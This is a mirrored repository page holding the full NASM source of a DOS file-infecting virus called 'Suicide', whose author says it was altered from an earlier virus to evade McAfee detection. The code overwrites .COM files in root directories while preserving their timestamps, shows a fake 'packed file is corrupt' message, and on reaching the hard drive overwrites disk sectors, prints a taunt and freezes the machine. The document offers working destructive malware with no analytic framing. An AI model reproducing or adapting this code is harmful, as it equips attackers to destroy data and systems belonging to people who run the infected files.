mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
168 lines
4.0 KiB
NASM
168 lines
4.0 KiB
NASM
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;| SUICIDE VIRUS BY TESLA 5
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;| THIS VIRUS IS A SLIGHTLY MODIFIED VERSION OF THE DEICIDE VIRUS OF
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;| GLENN BENTON, SO IT IS SMALLER IN SIZE AND A BIT MORE EFFICIENT. I
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;| THINK GLENN WAS A BIG SATANIST, BECAUSE OF THE NAME DEI-CIDE (KILL
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;| EVERYTHING THAT'S HOLY?). WELL, I MODIFIED THE CODE, SO IT IS NO
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;| MORE DETECTABLE BY SCAN OF MCAFEE. THANKS TO 'CRYPT'? AND XTSC FOR
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;| THE SOURCE CODE. GREETINGS TO ALL VIRUS WRITERS.
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;|
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START_PROG: JMP SHORT START_VIRUS
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MESSAGE DB 0DH,0AH,'SUICIDE!'
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DB 0DH,0AH
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DB 0DH,0AH,'TESLA 5 SAYS : NO MORE HD!'
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DB 0DH,0AH
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DB 0DH,0AH,'NEXT TIME BE SCARED FOR ILLEGAL STUFF!$'
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START_VIRUS: MOV AH,19H
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INT 21H
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DB 0A2H
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DW OFFSET INFECT_DRIVE
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DB 0A2H
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DW OFFSET ACTUAL_DRIVE
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MOV AH,47H
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MOV DL,0
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MOV SI,OFFSET ACTUAL_DIR
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INT 21H
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MOV AH,1AH
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MOV DX,OFFSET NEW_DTA
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INT 21H
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INFECT_NEXT: MOV AH,3BH
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MOV DX,OFFSET ROOT_DIR
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INT 21H
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MOV AH,4EH
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MOV CX,0
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MOV DX,OFFSET SEARCH_PATH
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INT 21H
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CHECK_COMMAND: MOV AL,'N'
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CMP [NEW_DTA+23H],AL
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JNZ CHECK_INFECT
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JMP SHORT SEARCH_NEXT
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NOP
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CHECK_INFECT: MOV AX,3D02H
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MOV DX,OFFSET NEW_DTA+1EH
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INT 21H
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MOV FILE_HANDLE,AX
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XCHG BX,AX
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MOV AX,5700H
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INT 21H
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MOV FILE_DATE,DX
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MOV FILE_TIME,CX
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CALL GO_BEG_FILE
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MOV AH,3FH
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MOV CX,2
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MOV DX,OFFSET READ_BUF
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INT 21H
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MOV AL,BYTE PTR [READ_BUF+1]
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CMP AL,OFFSET START_VIRUS-102H
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JNZ INFECT
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MOV AH,3EH
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INT 21H
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SEARCH_NEXT: MOV AH,4FH
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INT 21H
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JNC CHECK_COMMAND
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MOV AL,INFECT_DRIVE
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CMP AL,0
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JNZ NO_A_DRIVE
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INC AL
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NO_A_DRIVE: INC AL
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CMP AL,3
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JNZ NO_DESTROY
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XOR BX,BX
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MOV AL,2
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MOV DX,BX
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MOV CX,40H
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INT 26H
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MOV AH,9
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MOV DX,OFFSET MESSAGE
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INT 21H
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LOCK_SYSTEM: CLI
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JMP SHORT LOCK_SYSTEM
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NO_DESTROY:
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MOV AH,0EH
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MOV DL,AL
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MOV INFECT_DRIVE,DL
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INT 21H
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JMP INFECT_NEXT
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INFECT: CALL GO_BEG_FILE
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MOV AH,40H
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MOV DX,100H
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MOV CX,OFFSET END_VIRUS-100H
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INT 21H
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MOV AX,5701H
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MOV CX,FILE_TIME
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MOV DX,FILE_DATE
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INT 21H
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MOV AH,3EH
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INT 21H
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MOV DL,BYTE PTR [ACTUAL_DRIVE]
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MOV AH,0EH
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INT 21H
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MOV AH,3BH
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MOV DX,OFFSET ACTUAL_DIR
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INT 21H
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MOV AH,9
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MOV DX,OFFSET QUIT_MESSAGE
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INT 21H
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INT 20H
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GO_BEG_FILE: MOV AX,4200
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XOR CX,CX
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XOR DX,DX
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INT 21H
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RET
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FILE_DATE DW (?)
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FILE_TIME DW (?)
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FILE_HANDLE DW (?)
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INFECT_DRIVE DB (?)
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ROOT_DIR DB '\',0
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SEARCH_PATH DB '*.COM',0
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READ_BUF DB 2 DUP (?)
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ACTUAL_DRIVE DB (?)
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QUIT_MESSAGE DB 'PACKED FILE IS CORRUPT',0DH,0AH,'$'
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NEW_DTA DB 2BH DUP (?)
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ACTUAL_DIR DB 40H DUP (?)
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END_VIRUS:
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